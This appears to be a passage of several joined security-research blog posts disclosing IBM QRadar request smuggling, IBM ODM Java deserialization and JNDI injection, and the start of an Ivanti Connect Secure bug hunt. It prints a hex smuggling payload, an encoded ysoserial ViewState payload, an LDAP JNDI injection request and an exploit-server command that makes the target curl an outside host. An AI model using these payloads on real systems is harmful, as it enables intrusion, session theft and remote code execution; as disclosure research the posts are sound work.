00000000: 0008 4854 5450 2f31 2e31 0000 0b2f 636f  ..HTTP/1.1.../co
00000010: 6e73 6f6c 652f 7878 0000 0931 3237 2e30  nsole/xx...127.0
00000020: 2e30 2e31 0000 026c 6f00 0007 6c6f 6361  .0.1...lo...loca
00000030: 6c78 7400 0050 0000 0300 0154 0000 2042  lxt..P.....T.. B
00000040: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
00000050: 4242 4242 4242 4242 4242 4242 4242 4200  BBBBBBBBBBBBBBB.
00000060: 000a 5741 5443 4854 4f57 5230 0000 0130  ..WATCHTOWR0...0
00000070: 00a0 0b00 0d77 6174 6368 746f 7772 2e63  .....watchtowr.c
00000080: 6f6d 0003 0062 6262 6262 0005 0162 6262  om...bbbbb...bbb
00000090: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000000a0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000000b0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000000c0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000000d0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000000e0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000000f0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000100: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000110: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000120: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000130: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000140: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000150: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000160: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000170: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000180: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000190: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000001a0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000001b0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000001c0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000001d0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000001e0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000001f0: 6262 6262 6262 6262 6262 6262 6265 3d00  bbbbbbbbbbbbbe=.
00000200: ff00

curl -k -i https://<qradar-host>/console/ -H 'Transfer-Encoding: chunked, chunked' \\
		--data-binary @payload.txt

Poisoned Response:

HTTP/1.1 302 302
Date: Sun, 10 Mar 2024 02:35:06 GMT
Server: QRadar
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubdomains;
Set-Cookie: JSESSIONID=E3D8AB1D2D6B3267BE9FB3BF3FFAD9C0; Path=/; HttpOnly
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: <http://watchtowr.com:80/console/logon.jsp?loadback=44d7c786-522d-4bc2-90be-f1eac249da3c>
Content-Length: 0
X-Frame-Options: SAMEORIGIN

What are we seeing here?

Well, after a few attempts, the server has started to serve the poisoned response to other users of the application - even authenticated users - to be redirected via the Location we control.

This is a clear case of CVE-2022-26377 in an exploitable manner; we can redirect all application users to an external host. Exploitation of this by a threat actor is only limited by their imagination; we can easily conjure up a likely attack scenario.

Picture a Blue Team operator logging in to their favourite QRadar instance after receiving a few of their favourite alerts, warning them of potential ransomware being deployed across their favourite infrastructure. Imagine them desperately looking for their favourite ‘patient zero’ and hoping to nip their favourite threat actors' campaign in the bud.

While navigating through their dashboards, however, an attacker uses this vulnerability to silently redirect them to a ‘fake’ QRadar instance, mirroring their own instance - but instead of those all-important alerts - all is quiet in this facade QRadar instance, and nothing is reported.

The poor Blue Team Operator goes for their lunch, confident there is no crisis - while in reality, their domain is compromised with malicious GPOs carrying the latest cryptolocker malware.

Before they even realise what's going on, it's too late; the damage is done.

In case you need a little more convincing, here’s a short video clip of the exploit taking place:

Proof of Concept

At watchTowr, we no longer publish Proof of Concepts. We heard the tweets, we heard the comments - we were making it too easy for defensive teams to build detection artefacts for these vulnerabilities contextualised to their environment.

So instead, we've decided to do something better - that's right! We're proud to release the first of many to come of our Python-based, dynamic detection artefact generator tools.

https://github.com/watchtowrlabs/ibm-qradar-ajp_smuggling_CVE-2022-26377_poc

DeSync Responses

So, we'vee shown a pretty scary exploitation scenario - but it turns out we can take things even further if we apply a little creativity (ha ha, who knew that watchTowr ever take things too far 😜).

At this point, the HTTP response queue is in tatters, with authenticated responses being returned to unauthenticated users - that's right, we can leak privileged information from your QRadar SIEM, the heart of your security stack, to unauthenticated users with this vulnerability.

Well, let’s take an extremely brief look into how QRadar handles sessions.

Importantly, in QRadar’s design, each user's session values need to be refreshed relatively often - every few minutes. This is a security mechanism designed to expire values quickly, in case they are inadvertently exposed. Ironically however, we can use these as a powerful exploitation primitive, since they can be returned to unauthenticated users if the response queue is, in technical terms, "rekt". Which, at this point, it is.

Here’s how a session refresh looks:

HTTP/1.1 200 200
Date: Sun, 10 Mar 2024 02:53:34 GMT
Server: QRadar
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubdomains;
Strict-Transport-Security: max-age=31536000; includeSubDomains
Set-Cookie: JSESSIONID=CE0279DC02A0715BB41358EC44A7F546; Path=/; Secure; HttpOnly
Set-Cookie: QRadarCSRF=083a2ebb-7d42-4e56-b4a9-728843f6958e; Path=/; Secure
Set-Cookie: AJAXTimeoutLimit=5; Path=/; Secure
Set-Cookie: SEC=03de6b43-8454-469a-8d40-076f6d12a13d; Path=/; Secure; HttpOnly
Set-Cookie: inactivityTimeout=30; Path=/; Secure
Set-Cookie: lastClickTime=2024-03-10T02:53Z; Path=/; Secure
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Length: 1045
Connection: close

If the above isn't sufficiently clear, the session credentials for authenticated users are returned in an HTTP response (if this is not obvious) and thus in the context of  this vulnerability, these same values would be returned to unauthenticated users.

If you follow our leading words, this would allow threat actors (or watchTowr's automation) to assume the session of the user and take control of their QRadar SIEM instance in a single request. 

Flagship security software from IBM.

Once again, exploitation is in the hands of creative threat actors; how could this be further exploited in a real-world attack?

Imagine your first day as the new Blue Team lead in a Fortune 500 organisation; you want to show off to your new employer, demonstrating all the latest threat-hunting techniques.

You’ve got your QRadar instance at hand, you’ve got agent deployment across the organisation, and you have the all-important logs to sort through and subject to your creative rulesets.

You authenticate to QRadar, and hammer away like the pro defender you are. However, a threat actor quietly DeSync’s your instance, and your session data starts to leak. They authenticate to your QRadar instance as if they were you and begin to snoop on your activities.

A quick peek into the ingested raw logs reveals cleartext Active Directory credentials submitted by service accounts across the board. Whose hunting who now?

The threat actors campaign is just beginning, and the race to compromise the organisation has started the moment you log into your QRadar. Good job on your first day.

Thanks IBM!

Tl;dr how bad is this

To sum up the impact the vulnerability has, in the context of QRadar, from an un-authenticated perspective:

• An unauthenticated attacker gains the ability to poison responses of authenticated users
• An unauthenticated attacker gains the ability to redirect users to an external domain:
  • For example, the external domain could imitate the QRadar instance in a Phishing attack to garner cleartext credentials
• An unauthenticated attacker gains the ability to cause a Denial-Of-Service in the QRadar instance and interrupt ongoing security operations
• An unauthenticated attacker gains the ability to retrieve responses of authenticated users
  • Observe ongoing security operations
  • Extract logs from endpoints and devices feeding data to the QRadar instance
  • Obtain session data from authenticated users and administrators and authenticate with this data.

Conclusion

Hopefully, this post has shown you that as an industry we still cannot even do the basics - let alone a listed, too-big-to-fail technology vendor.

While there will be a continuation of evolution of threats that compound our timelines and day-jobs, and state-sponsored actors trying to slip backdoors into OpenSSH - it doesn't mean we ignore the.. very basics.

To see such an omission from a vendor of security software, in their flagship security product - in our opinion, this is disappointing.

Usual advice applies - patch, pray that IBM now know to update dependencies, see what happens next time.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

It's our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Timeline

In previous blogs, we’ve discussed some of the big players in the enterprise software space, but there is one that we have not mentioned before, that is - quite frankly - the heavy-weight champion of the world in terms of applications for large enterprises. With over a hundred years of experience, a founder and leader in the tech world, and weighing in at nearly a $170b US market cap - it’s IBM.

Here at watchTowr, we’re not intimidated by the name (or tweets) - at the end of the day, code is code, and we’re no strangers to discovering vulnerabilities that bring applications to the ropes and knock them down for the count.

In today’s match-up, we’re looking at various versions(both old and new!) of IBM’s “Operational Decision Manager” (ODM). IBM ODM, as described by Big Blue themselves:

IBM Operational Decision Manager (ODM) is a powerful decision management platform that streamlines decision authoring and editing, with enterprise-grade features such as a traceability, simulation, versioning and auditing. IBM ODM helps organizations build precise decisions that help organizations increase efficiency, manage compliance, and improve operational agility.

Powerful. Decisions. Streamline. Agility. Big words, from Big Blue.

Booking The Fight

Getting ahold of IBM software is usually not easy; most of their products come with hefty price tags, even when looking at virtualized solutions in cloud marketplaces.

However, in an uncharacteristic turn of events, IBM actually offers a friendly Docker environment for the IBM ODM product in question, ready and waiting for developers to spar with - check it out on DockerHub at https://hub.docker.com/r/ibmcom/odm.

When auditing an application like this, we like to do some pre-research into the application to observe how it has grown over time. We find that watching how a particular software package has evolved and mutated new features can be revealing and helpful in guiding us through what is otherwise 'complex'.

This is demonstrated previously in our OpenCMS blog. In this instance, it's entirely possible, thankfully with Docker tags.

So - let’s do some pre-fight research into ODM, and see how it has grown over the years, by booting up the earliest version available (8.9.2.0, a six-year vintage):

docker run -e LICENSE=accept -p 9060:9060 -p 9443:9443  -m 2048M --memory-reservation 2048M  -e SAMPLE=true ibmcom/odm:8.9.2.0

Following the documentation from their Docker repository, we can instantly ascertain that the main web interfaces are exposed on the following ports and endpoints:

Round 1: CVE-2024-22320, Java Deserialization… FIGHT!

When looking into an application as researchers, we can often be quick to start pulling apart its internals and filesystem.

However, it is also sometimes critical to simply browse the application, as if we were end-users, and take stock of what we see. When we do just this, navigating the service running on port 9060, we can see the typical file extension in use is .jsf, which, for those unfamiliar, indicates the Java Faces Framework; this comes with its own set of historical vulnerabilities (for example, the ViewState).

When logging into the administration panel and taking a peek at the resultant HTTP traffic, we can see in the response a string that should make any bug hunter shout ‘HADOUKEN’ from their desktop:

"javax.faces.ViewState" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAN0AAE0cHQAEy9wcm90ZWN0ZWQvaG9tZS5qc3A="

For the uninitiated, the prefix rO0ABXV indicates an unencrypted Java Object. This is a well-documented characteristic of earlier versions of the Java Faces Framework. Should a user be able to supply their own value for this javax.faces.ViewState parameter, then it is typically possible to achieve Remote Code Execution by exploiting deserialization routines with a malicious Java object.

Before we get excited, though, we need to double-check our facts. First off, can this ViewState be consumed pre-authenticated? Let's try by hitting the login.jsf endpoint to see:

GET /res/login.jsf?javax.faces.ViewState=watchTowr HTTP/1.1
Host: localhost:9060

The response shows it does! Happy day!

HTTP/1.1 500 Internal Server Error
X-Powered-By: Servlet/3.1
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=ISO-8859-1
$WSEP: 
Content-Language: en-US
Connection: Close
Date: Mon, 19 Feb 2024 03:09:48 GMT
Content-Length: 84

Error 500: javax.servlet.ServletException: error while processing state : watchTowr

Fantastic, we’re making good progress with some opportunistic button-bashing (adding a '/' there, a ';' there, and see what we get :^) ).

When looking at Java Deserialization, we have a few options available, such as creating a custom gadget chain that results in Remote Code Execution. First, though, it’s always worth checking the open-source project ysoserial to see if we can use any known gadget chains and make things faster.

A typical gadget chain that is present in almost all scenarios is the URLDNS chain, which can be used to make an external DNS callback to our listening infrastructure. It does this by serializing a URLDNS object, and setting the hashCode member to -1, which has the effect of causing the hashCode to be recomputed when the URLDNS is compared with anything. In the process of computing the hashCode, the URLDNS object calls hashCode on a URL, which in turn causes the URL to be resolved and thus generates our DNS callback.

The command to generate the payload from ysoserial looks something like this:

./java -jar ysoserial.jar URLDNS "<http://listening-host>" | base64

We can then URL-encode the object generated by ysoserial and pass it in, like so:

GET /res/login.jsf?javax.faces.ViewState=%72%4f%30%41%42%58%4e%79%41%42%46%71%59%58%5a%68%4c%6e%56%30%61%57%77%75%53%47%46%7a%61%45%31%68%63%41%55%48%32%73%48%44%46%6d%44%52%41%77%41%43%52%67%41%4b%62%47%39%68%5a%45%5a%68%59%33%52%76%63%6b%6b%41%43%58%52%6f%63%6d%56%7a%61%47%39%73%5a%48%68%77%50%30%41%41%41%41%41%41%41%41%78%33%43%41%41%41%41%42%41%41%41%41%41%42%63%33%49%41%44%47%70%68%64%6d%45%75%62%6d%56%30%4c%6c%56%53%54%4a%59%6c%4e%7a%59%61%2f%4f%52%79%41%77%41%48%53%51%41%49%61%47%46%7a%61%45%4e%76%5a%47%56%4a%41%41%52%77%62%33%4a%30%54%41%41%4a%59%58%56%30%61%47%39%79%61%58%52%35%64%41%41%53%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%54%64%48%4a%70%62%6d%63%37%54%41%41%45%5a%6d%6c%73%5a%58%45%41%66%67%41%44%54%41%41%45%61%47%39%7a%64%48%45%41%66%67%41%44%54%41%41%49%63%48%4a%76%64%47%39%6a%62%32%78%78%41%48%34%41%41%30%77%41%41%33%4a%6c%5a%6e%45%41%66%67%41%44%65%48%44%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%33%51%41%4c%47%6b%7a%62%58%59%32%5a%44%42%76%4d%57%70%78%4d%7a%56%70%64%54%67%79%5a%6a%63%79%5a%57%35%7a%5a%54%4d%31%4f%58%64%34%62%6d%78%6a%4c%6d%39%68%63%33%52%70%5a%6e%6b%75%59%32%39%74%64%41%41%41%63%51%42%2b%41%41%56%30%41%41%52%6f%64%48%52%77%63%48%68%30%41%44%4e%6f%64%48%52%77%4f%69%38%76%61%54%4e%74%64%6a%5a%6b%4d%47%38%78%61%6e%45%7a%4e%57%6c%31%4f%44%4a%6d%4e%7a%4a%6c%62%6e%4e%6c%4d%7a%55%35%64%33%68%75%62%47%4d%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%31%34 HTTP/1.1
Host: localhost:9060

We can see in the HTTP response that a chain has been called to java.util.HashMap. Checking our DNS server logs (or using a canarytoken) confirms that interaction has taken place.

HTTP/1.1 500 Internal Server Error
X-Powered-By: Servlet/3.1
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=ISO-8859-1
$WSEP: 
Content-Language: en-US
Connection: Close
Date: Mon, 19 Feb 2024 03:16:40 GMT
Content-Length: 103

Error 500: javax.servlet.ServletException: java.util.HashMap incompatible with [Ljava.lang.Object&#59;

We spent some time looking at publicly available gadget chains included with ysoserial (and beyond), but none could get us past the finishing line to RCE. A custom chain is required to exploit this issue, which is unfortunately outside the scope of this blog post.

This Java Faces deserialization issue wasn’t raised, or disclosed previously for ODM, so we contacted IBM, who assigned this a whopping 9.8 and CVE-2024-22320. Phwoar!

Editors note: The character to CVSS score ratio here is 'no bueno'.

Round 2: CVE-2024-22319, JNDI Injection… FIGHT

Having proved ourselves against historical releases of ODM, it's time to look ahead. We wanted a zero-day in the latest version of ODM. Let’s load up the main event, version 8.12 :

docker run -e LICENSE=accept -p 9060:9060 -p 9445:9443  -m 2048M --memory-reservation 2048M  -e SAMPLE=true ibmcom/odm:8.12

From a quick look around, we can see the Java Faces dependency has been upgraded to myfaces-impl-1.1.10.jar. In this version, the ViewState is encrypted by default, so by chance of a dependency update, IBM has been saved from CVE-2024-22320.

Undeterred, let's keep going: looking through the filesystem, we can see several .war files and the associated resources for various applications.

Most seem to be servlets which create web.xml files for mapping purposes using the <url-pattern> tags. The only one that doesn’t follow this pattern is decisioncenter-api.war, which appears to be a REST API.

When navigating to this endpoint via a web browser, a Swagger document is available, giving us juicy details about various API's available.

Regrettably, all APIs except one appear to require authentication, and so aren’t relevant for our goal of pre-authenticated RCE (at this stage). The lone exception is the "About" API. But how much damage could the "About" API possibly cause..? Well, let’s take a look at the API.

Looking at this, your eyes should keenly zero in on something suspicious. That's right! Does the ‘About’ API take in a parameter for a JNDI object? (and why would an ‘About’ API require this functionality?! We’ll leave that question to the philosophers - and the Twitter warriors).

For those new to the concept of JNDI, it stands for "Java Naming and Directory Interface." Fret not, we hopped on the AI bandwagon and asked ChatGPT to explain JNDI for us:

Imagine you're in a vast library and want to find a particular book. You know the book's title but need to know its location. So, what do you do? You ask the librarian.

In the world of Java programming, JNDI is like that librarian. It helps you find and access resources like databases, services, or objects in a Java environment without knowing exactly where they are located or how they are implemented.

Here's how it works:Naming: JNDI provides a way to name these resources, just like each book in the library has a unique title. These names are organized hierarchically, similar to how books are categorized by genres, authors, or topics in the library.Directory: Think of JNDI as a directory system in the library. To locate a book, consult the directory. Similarly, when your Java program needs to access a resource, it consults JNDI to discover the resource by its name.Interface: JNDI provides a set of Java interfaces and classes your program can use to interact with the naming and directory services. These interfaces define methods for looking up, adding, updating, and removing resources.

In summary, JNDI is like a helpful librarian in a vast library of resources, assisting your Java programs in finding and accessing the resources they need without you having to worry about their exact locations or implementations.

Thanks, ChatGPT! It seems that JNDI is some kind of Java-based librarian.

So now that's a bit clearer, you might be asking why this is useful for us in our quest to impact the killer blow. Well, time for some more history - several years ago (in 2016, to be precise), some very clever researchers (Alvaro Muñoz and Oleksandr Mirosh) looked into a then-new vulnerability class, ‘JNDI Injection’, and found some very interesting behaviour.

They noted that, when a JNDI lookup takes place, code flow typically passes through a Context.lookup function. Code to perform a lookup might look something similar to the following:

public class JNDILookupExample {
    public static void main(String[] args) {
        try {
            // Create a JNDI initial context. This is like connecting to the library.
            Context ctx = new InitialContext();

            // Specify the name of the resource you want to look up.
            String resourceName = "java:/comp/env/jdbc/myDB";

            // Perform the lookup. This is like asking the librarian for a specific book.
            Object resource = ctx.lookup(resourceName);

            // Use the resource in your application.
            System.out.println("Resource found: " + resource);

            // Close the context when you're done.
            ctx.close();
        } catch (NamingException e) {
            // Handle any naming exception that might occur.
            e.printStackTrace();
        }
    }
}

Critically, they found that once a user has access to the parameter that controls the resourceName passed to the lookup() function, it’s possible to reference other registered Java Objects, opening up a gateway to RCE.

The researchers mentioned that it is possible to do this via two different protocols - specifically, the rmi:// and ldap:// protocols. These two protocols host Java Objects, which can be deserialized by the fetching server, resulting in Remote Code Execution.

To test if it's possible to reach the all-important lookup() function remotely, we can use one of these two protocol handlers, pointing the request to our external listening infrastructure (for example, a DNS canary token) and observe any callbacks:

GET /decisioncenter-api/v1/about?datasource=ldap://external-host HTTP/1.1
Host: localhost:9060

Taking a look through the docker logs confirms that a lookup has taken place (and failed):

2024-02-19 14:18:17 [ERROR   ] Error while connecting to the Decision Center backend: Could not lookup datasource named 'ldap://external-host'
2024-02-19 14:18:17 Could not lookup datasource named 'ldap://external-host'

An excellent level of detail went into the original research, and it would be of no real benefit to duplicate it here, so curious readers are encouraged to read the BlackHat presentation https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf.

While the researchers point out that exploitation via RMI is typically not possible as a Security Manager is enabled by default, this is usually not the case when abusing the LDAP protocol. There is a clear path to the fabled RCE.

Our planned exploitation sequence is as follows:

1. We send a malicious LDAP-URI to ODM, referencing an LDAP server we control
2. ODM processes the LDAP request, which finds its way into an InitialContext.lookup() call
3. Our malicious LDAP server responds with an LDAP object containing a serialized java object
4. ODM deserializes the object chain garnered from our LDAP server
5. Ding-Ding-Ding! RCE!

Hosting our own LDAP server sounds like a tedious exercise, but thankfully, there’s an open-source project that does precisely what we want - https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.

We found that some experimentation was needed to find a gadget chain that satisfies the current classpath and avoids security mechanisms. After a little bit of experimentation, we found several gadget chains that worked, including the Jackson XML gadget chain, which we’ll use for demonstration.

To validate that RCE is possible, we need the following resources set up:

• Server A, running IBM ODM
• Server B, running an HTTP listening server
• Server C, running JNDI-Injection-Exploit-Plus

On server C, we start the tool with the following command, which starts the LDAP server up:

java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar -C "curl http://<Server B IP Address>" -A "<Server C IP Address>"

And then we send the following request to Server A, which is happily running an instance of IBM.

GET /decisioncenter-api/v1/about?datasource=ldap://<Server C IP Address>:1389/deserialJackson HTTP/1.1
Host: localhost:9060

Our sequence of events fires perfectly - the LDAP server is queried and serves a malicious serialised blob, which is then deserialized, causing the curl command to be executed. Finally, we see a HTTP callback will on Server B:

GET / HTTP/1.1
Host: ServerB
Accept: */*
User-Agent: curl/7.61.1

The Docker logs on Server A contain an error message, confirming that the deserialization has taken place.

2024-02-19 14:40:43 [ERROR   ] Error while connecting to the Decision Center backend: com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["outputProperties"])
2024-02-19 14:40:43 com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["outputProperties"])

With some code analysis, we were able to narrow down the code block which causes this lookup to take place, deep within the depths of ilog.rules.teamserver.ejb.service.dao.IlrElementDAOFactory.

The HTTP request parameter datasource is fed into a variable lookupName, and then this is passed to the all-important lookup() function for a JNDI context ctx without any further validation.

public class IlrElementDAOFactory {
  private static Map<String, IlrElementDAO> daoMap = new HashMap<>();
  
  private static SnapshotCleanupService snapshotCleanup;
  
  public static IlrElementDAO getInstance(String dataSourceName) throws IlrDataSourceException {
    IlrElementDAO dao = daoMap.get(dataSourceName);
    if (dao == null) {
      DataSource dataSource;
      InitialContext ctx = null;
      String lookupName = dataSourceName;
      try {
        ctx = new InitialContext();
        lookupName = "java:comp/env/" + dataSourceName;
        dataSource = (DataSource)ctx.lookup(lookupName);
        ctx.close();
      } catch (NamingException e) {
        if (ctx == null)
          throw new IlrDataSourceException(dataSourceName, e); 
        try {
          lookupName = dataSourceName;
          dataSource = (DataSource)ctx.lookup(lookupName);
          ctx.close();
        } catch (NamingException e2) {
          try {
            lookupName = "java:/" + dataSourceName;
            dataSource = (DataSource)ctx.lookup(lookupName);
            ctx.close();
          } catch (NamingException e3) {
            throw new IlrDataSourceException(dataSourceName, e);
          } 
        } 
      } 
      dao = buildNewDAO(dataSource, dataSourceName.intern());
      daoMap.put(dataSourceName, dao);
    } 
    if (snapshotCleanup != null && !dao.isRegisteredForSnapshotCleanup()) {
      dao.setRegisteredForSnapshotCleanup(true);
      snapshotCleanup.addDatasource(dataSourceName);
    } 
    return dao;
  }

Post Fight Interview

Having knocked out ODM a second time, we contacted IBM once again, who promptly assigned CVE-2024-22319 with a CVSS of 8.1 - that’s right, a pre-authenticated Remote Code Execution classified as ‘High’, and not the ‘Critical’ we were hoping for 🤡.

Perhaps this post is enough to prove exploitability.

Conclusion

Great news - IBM released an advisory for all versions of ODM, which can be found here - https://www.ibm.com/support/pages/node/7112382?_ga=2.244854796.861635083.1708325068-554310897.1684384757.

If anyone asks enough, IBM may also provide SIGMA rules - fingers crossed!

As part of our comms with IBM, they also confirmed the following product versions were affected:

Hopefully, this post has shown you how fun Java deserialization bugs can be, and just how devastating they can be when circumstance aligns and a full RCE chain is possible.

As researchers, we’re big fans of this bug class as it seems to pop up in unexpected places, and because it lends itself to such clean exploitation once a chain is found.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

It's our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Timeline

As astute readers of our Twitter account (https://twitter.com/watchtowrcyber) and blog will know, we’ve recently been heavily involved in understanding the recent spatter of vulnerabilities in Ivanti products - most recently, their Connect Secure product which portrays itself as an SSLVPN device.

We’re incredibly proud of the work we did in January - as the first in the industry to release reliable mechanisms to identify a vulnerable Ivanti Connect Secure appliance affected by CVE-2023-46805 & CVE-2024-21887. That work was used by numerous parties, including ShadowServer, to help the industry react ahead of PoCs and patches being released and inform unaware but affected parties.

As we discussed in our recent blogpost, The Second Wednesday Of The First Month Of Every Quarter: Juniper 0day Revisited, vulnerabilities have a habit of clustering.

While hunting for CVE-2024-21893, we came across a further (trivial, in our opinion) vulnerability in the Ivanti Connect Secure device which was reported to Ivanti on the same day. As discussed at the time, we always apply our 90 day VDP process to give any vendor the time needed to patch vulnerabilities.

We tweeted about the existence of this vulnerability to notify the world that these devices remain a liability (in our opinion).

We have received criticism for our decision to tweet about the existence of a vulnerability - citing claims of 'unactionability'. Our view is very simple - given we could find these 0days so trivially and the clear APT attention that Ivanti appliances have received, we felt it is not unreasonable to expect another APT to find said vulnerability in the near-future and start using it to once again compromise organisations. We maintain this view.

We aimed to communicate a very simple message - that focused monitoring should not be reduced as of yet - and even worked with numerous partners to enable responses beyond our client base.

We are incredibly proud of our work to enable industry and help prevent breaches.

We have chosen multiple times - including this time - to not release weaponized PoCs given the relatively short timelines organisations have to remediate. While others have made decisions to the opposite of this, we have seen a direct correlation between mass exploitation attempts and PoC release timelines.

We strongly believe PoCs are good for the industry, but there is a balance between giving organisations a chance to patch the vulnerabilities first - and not just "apply a mitigation XML file" (which Ivanti themselves cautioned care around, due to the triviality in which it could be 'un-applied').

As always, our commitment remains with our clients - we remain incredibly proud to have helped clients of the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming technology, identify exploitable and vulnerable appliances globally and implement mitigations ahead of Ivanti disclosing CVE-2024-22024 to the world.

We applied our 90 day VDP process, and went back to doing what we do best - hacking the planet.

But Why, Ivanti?

There has been a little drama around the public advisory of this vulnerability, and thus we've decided to detail timeline below.

We reported the identified vulnerability (that we detail below) initially on Friday 2nd February 2024, with full reproducer. Acknowledgement of our submission was received same day from Ivanti - we were offered the opportunity to submit information for a bug bounty, but we declined.

On 5th February 2024, we followed up with Ivanti to report another affected endpoint for the same class of vulnerability.

On Wednesday 7th February 2024, Ivanti acknowledged this vulnerability and assigned a CVE.

Our curiosity was piqued - why were Ivanti reserving a 2023 CVE for this vulnerability reported in 2024?

Ivanti responded confirming the mistake, and correction with a 2024 CVE:

Today, Friday 9th February 2024, we are pleased to see that Ivanti has released an advisory for this vulnerability:

https://www.ivanti.com/blog/security-update-for-ivanti-connect-secure-and-ivanti-policy-secure-gateways-282024

We did find this comment a little curious, but perhaps we have a new set of colleagues?

What Did We Go Looking For

Anyway.

We today want to give you some insight into our thought process and methodology for discovery of CVE-2024-22024.

Given there have been several issues and mishandled remediation efforts over the last few weeks, we decided to play devil's advocate on behalf of our clients - perhaps Ivanti had not correctly resolved the previously disclosed Server-Side Request Forgery vulnerability (CVE-2024-21893), and thus we decided to split our research efforts into two.

• Team A would look into the reproducer PoC for the SSRF whilst
• Team B would look for bypasses/unintended consequences of the patch.

Whilst there was overlap in our approach, we shared a common goal of demonstrating a high-impact vulnerability in a critical network appliance - an SSLVPN - and living up to our promise of securing our clients proactively.

For those at home wondering where to start, we had a glimmer of light shared by Ivanti in their KB article - "https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways”

A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x), Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.

Our senses were heightened and focused on various SAML components. For Server-Side Request Forgery vulnerability to amalgamate in SAML functionality, we’re typically looking at three likely scenarios:

• Custom SAML tags
• XSLT Transformations
• XML External Entity (XXE) Injection

Having gained a shell on the box as demonstrated in our previous article: https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024-21887/ we were quickly able to narrow down a list of endpoints relevant to the SAML component that are accessible from a pre-authenticated perspective.

• /dana-na/auth/saml-logout.cgi
• /dana-na/auth/saml-sso.cgi
• /dana-na/auth/saml-consumer.cgi
• /dana-na/auth/saml-inter.cgi
• /dana-na/auth/saml-endpoint.cgi

The Previous SSRFs

It’s already become public knowledge of how to reproduce the SSRF - we’ve seen numerous PoCs flood the industry and become tools of mass crypto-mining - so we’d like to spare a thought for our triage friends, operating bug bounty programs.

As this information is more than available in the public domain at this point, we won’t go into too much depth or repeat, but we hold a significant amount of respect for our industry peers who worked tirelessly to help defenders recognise the impact to their devices and promptly update their appliances.

What Have We Created?

Naturally, having shortlisted a list of interesting endpoints, it was time to dive into each of them and look for bugs. Ivanti’s responses are very helpful - they are kind enough to prompt with the required parameters in the HTTP response in order to meet the minimum requirements for the .cgi’s to execute.

Short of this, we have access to the perl scripts in cleartext for additional support (thanks to our previous FDE work with Ivanti devices).

We spent some time tracing the parameters and functions of each endpoint but found no direct consequence that could be exploitable.

However, what was of interest was the utilisation of libraries for processing the data.

